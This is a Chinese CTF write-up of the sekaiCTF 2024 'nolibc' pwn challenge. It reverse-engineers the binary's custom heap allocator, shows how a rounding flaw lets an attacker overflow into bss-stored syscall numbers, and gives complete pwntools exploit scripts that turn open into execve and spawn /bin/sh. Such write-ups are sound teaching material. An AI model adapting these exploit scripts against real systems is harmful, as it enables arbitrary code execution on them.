sekaiCTF-2024-pwn-nolibc如何解析?

摘要:sekaiCTF 2024 nolibc 程序逆向 IDA反编译之后: 全是没有符号表的函数。start函数就是主函数。然后发现一些类似于printf的函数也没有符号。 我们linux上运行程序可以确定,至少sub_1322(&am
sekaiCTF 2024 nolibc 程序逆向 IDA反编译之后: 全是没有符号表的函数。start函数就是主函数。然后发现一些类似于printf的函数也没有符号。 我们linux上运行程序可以确定,至少sub_1322("Welcome to String Storage!");这样的函数实现的功能就是类似于printf。 逆向函数: __int64 __fastcall sub_1322(__int64 a1) { __int64 result; // rax sub_12C8(a1); result = dword_15004; __asm { syscall; LINUX - } return result; } 因为这些函数都是出题人自己实现的。直接调用syscall实现了输出的功能 这里看汇编会更直观一点,从rax的变化和syscall指令来分析题目到底用到了什么调用。 主要关注rax是怎么被赋值的。 mov edx, cs:dword_15004中cs:dword_15004存放的是1,所以可以确定这里的调用了write系统调用。而rdi和rdx固定,所以类似于puts,逐个打印每个字符 程序的另外一大部分是实现了一个类似于malloc的内存管理程序 在start函数的开头调用了一个init函数,初始化了bss上的一段内存指针,之后在一些文件读写、输出处理的时候,会申请一段空间来进行数据保存。 之后逆向可以发现,程序开辟了bss段上0x5000--0x15000之间的内容作为heap,然后紧接着的内容中存放了: 作为syscall的系统调用号:0,1,2,3 用户是否登录的标记 用户登录的个数 也就是说,我们如果可以造成溢出,覆盖bss上的系统调用号,就可以调用任意syscall 之后我们正常动调看一下: 可以看到在程序偏移0x15000的位置保存了四个系统调用号 漏洞利用 当时做的时候已经从EX师傅那里确定是可以覆盖系统调用号了。 所以剩下的就很简单了。只需要思考如何能构造溢出覆盖系统调用号即可。 这个题目中,自定义的堆块在topchunk的起始位置保存了剩余堆块的大小,初始堆块的大小是0x10000 主要的漏洞点在这些位置: add程序: __int64 add() { int *v1; // [rsp+0h] [rbp-10h] int v2; // [rsp+Ch] [rbp-4h] if ( *(qword_15020[login_flag] + 16LL) > 2046 ) return puts("You have reached the maximum number of strings"); putstring("Enter string length: "); v2 = atoi(); if ( v2 > 0 && v2 <= 256 ) { putstring("Enter a string: "); v1 = malloc(v2 + 1); if ( !v1 ) { puts("Failed to allocate memory"); puts(&unk_3124); exit(&unk_3124); } read(v1, v2 + 1); *(qword_15020[login_flag] + 8 * ((*(qword_15020[login_flag] + 16LL))++ + 2LL) + 8) = v1; return puts("String added successfully!"); } else { puts("Invalid length"); return puts(&unk_3124); } } add程序这里可以申请0x101大小的heap v1 = malloc(v2 + 1); 而在malloc程序中: 起始位置有这样两行程序: if ( !size ) return 0LL; chunk_size = (size + 15) & 0xFFFFFFF0; 将申请的chunk+15再和0xFFFFFFF0与,但是如果我们最初申请的是0x100,+1再+15,最后与一下,就导致我们可以申请0x110大小的堆块。 然后再加上程序自定义chunk头的0x10。也就是一次chunk申请我们可以最大申请0x120 这里其实就出问题了,比如程序最后分配只剩0x80的大小,然后我们在add函数中申请一个0x7f大小的堆块,程序首先会将chunksize设定为0x80,并跳过下面的malloc程序: while ( 1 ) { if ( !victim ) return 0LL; if ( chunk_size <= *victim ) // 这里检测申请的chunk_size是否小于当前指向的chunk大小,小于就退出,否则victim继续指向下一个 break; heap_p = victim; victim = *(victim + 1); } if ( *victim >= (chunk_size + 16LL) ) { next_chunk = victim + chunk_size + 16; *next_chunk = *victim - chunk_size - 16; // 这里代表chunk头指针保存着chunk的剩余大小 *(next_chunk + 1) = *(victim + 1); *(victim + 1) = next_chunk; *victim = chunk_size; } 并直接返回一个指针: return victim + 4;,鉴于victim是一个无符号整型指针,其实也就是跳过了堆头部的0x10的内容。但是我们通过add申请了0x7f的可写内容,那么最后可以溢出0x10。 然后还没完,在执行register函数的时候: __int64 register() { int *v1; // [rsp+8h] [rbp-18h] int *password; // [rsp+10h] [rbp-10h] int *username; // [rsp+18h] [rbp-8h] if ( user_num > 0 ) return puts("You can only register one account!"); putstring("Username: "); username = malloc(0x20); if ( username ) { read(username, 32); if ( length(username) ) { putstring("Password: "); password = malloc(0x20); if ( password ) { read(password, 32); if ( length(password) ) { v1 = malloc(0x4010); *v1 = username; *(v1 + 1) = password; v1[4] = 0; qword_15020[user_num++] = v1; return puts("User registered successfully!"); 还要申请0x4020+0x30+0x30的数据,这些也都是没有被释放的。将0x10000-(0x4020+0x30+0x30),然后我们算一下剩下的内容还有多少个0x120:(0x10000-(0x4020+0x30+0x30))%120 == 40, ,(0x10000-(0x4020+0x30+0x30))/120 == 0xaa, 所以我们add需要重复0xaa次 这里我们验证一下是否可以控制系统调用号: poc: from ctypes import * from pwn import * banary = "/home/giantbranch/PWN/question/Points_race/sekaiCTF/2024/nolibc" elf = ELF(banary) # libc = ELF("/home/giantbranch/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6") # libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") # libc = ELF("/home/giantbranch/PWN/tools/libc-database-master/db/libc6_2.27-3ubuntu1.6_amd64.so") ip = '202.0.5.178' port = 9999 local = 1 if local: io = process(banary) else: io = remote(ip, port) # remote('nolibc.chals.sekai.team',1337,ssl=True) context(log_level = 'debug', os = 'linux', arch = 'amd64') #context(log_level = 'debug', os = 'linux', arch = 'i386') def dbg(): gdb.attach(io) pause() s = lambda data : io.send(data) sl = lambda data : io.sendline(data) sa = lambda text, data : io.sendafter(text, data) sla = lambda text, data : io.sendlineafter(text, data) r = lambda : io.recv() ru = lambda text : io.recvuntil(text) uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00')) uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) iuu32 = lambda : int(io.recv(10),16) iuu64 = lambda : int(io.recv(6),16) uheap = lambda : u64(io.recv(6).ljust(8,b'\x00')) lg = lambda addr : log.info(addr) ia = lambda : io.interactive() def login(username:bytes, password:bytes): sla(b'Choose an option: ', b'1') sla(b'Username: ', username) sla(b'Password: ', password) def register(username:bytes, password:bytes): sla(b'Choose an option: ', b'2') sla(b'Username: ', username) sla(b'Password: ', password) def add_string(length:int, string:bytes): sla(b'Choose an option: ', b'1') sla(b'Enter string length: ', str(length).encode()) sla(b'Enter a string: ', string) def delete_string(index:int): sla(b'Choose an option: ', b'2') sla(b'delete: ', str(index).encode()) def load_file(filename:bytes): sla(b'Choose an option: ', b'5') sla(b'Enter the filename: ', filename) register(b'xmcve', b'123456') login(b'xmcve', b'123456') # load_file(b'sh') # Speed ​​up memory consumption for i in range(0xaa): add_string(0x100, str(i).encode()) add_string(0x3f, b'\0' * 0x30 + p32(111111)) dbg() # ## Trigger Exception # add_string(0x3f, b'\0' * 0x30 + p32(0) + p32(1)+p32(59)+p32(3)) # 15 -> sys_rt_sigreturn # delete_string(0) # load_file("/bin/sh") ia() 可以看到已经可以修改了: 然后我们只需要思考: 改哪个系统调用号 如何执行execve binsh 这里我们其实可以从四个系统调用号看起,首先execve需要控制rdi,那么0和1直接排除即可。先试试能不能通过改open变成execve调用binsh 通过逆向可以知道,在调用load和save的时候都有open调用参与 所以我们试着通过load file程序,并将文件名定为/bin/sh来getshell。 最后有一个问题: v3 = malloc(32); if ( v3 && (read(v3, 32), length(v3)) && !cmp(v3, "flag") ) 在load程序时有这样一步,先malloc并检查内容和文件名,这里如果我们直接load的话需要再malloc一个32大小的内存,显然已经没有机会了。 所以我们需要利用delete函数删除一个堆块,之后再申请即可。 exp from ctypes import * from pwn import * banary = "/home/giantbranch/PWN/question/Points_race/sekaiCTF/2024/nolibc" elf = ELF(banary) # libc = ELF("/home/giantbranch/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6") # libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") # libc = ELF("/home/giantbranch/PWN/tools/libc-database-master/db/libc6_2.27-3ubuntu1.6_amd64.so") ip = '202.0.5.178' port = 9999 local = 1 if local: io = process(banary) else: io = remote(ip, port) # remote('nolibc.chals.sekai.team',1337,ssl=True) context(log_level = 'debug', os = 'linux', arch = 'amd64') #context(log_level = 'debug', os = 'linux', arch = 'i386') def dbg(): gdb.attach(io) pause() s = lambda data : io.send(data) sl = lambda data : io.sendline(data) sa = lambda text, data : io.sendafter(text, data) sla = lambda text, data : io.sendlineafter(text, data) r = lambda : io.recv() ru = lambda text : io.recvuntil(text) uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00')) uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) iuu32 = lambda : int(io.recv(10),16) iuu64 = lambda : int(io.recv(6),16) uheap = lambda : u64(io.recv(6).ljust(8,b'\x00')) lg = lambda addr : log.info(addr) ia = lambda : io.interactive() def login(username:bytes, password:bytes): sla(b'Choose an option: ', b'1') sla(b'Username: ', username) sla(b'Password: ', password) def register(username:bytes, password:bytes): sla(b'Choose an option: ', b'2') sla(b'Username: ', username) sla(b'Password: ', password) def add_string(length:int, string:bytes): sla(b'Choose an option: ', b'1') sla(b'Enter string length: ', str(length).encode()) sla(b'Enter a string: ', string) def delete_string(index:int): sla(b'Choose an option: ', b'2') sla(b'delete: ', str(index).encode()) def load_file(filename:bytes): sla(b'Choose an option: ', b'5') sla(b'Enter the filename: ', filename) register(b'xmcve', b'123456') login(b'xmcve', b'123456') for i in range(0xaa): add_string(0x100, str(i).encode()) payload1 = b'a' * 0x30 + p32(0)+p32(1)+p32(59) add_string(0x3c, payload1) # dbg() delete_string(0) load_file("/bin/sh") ia()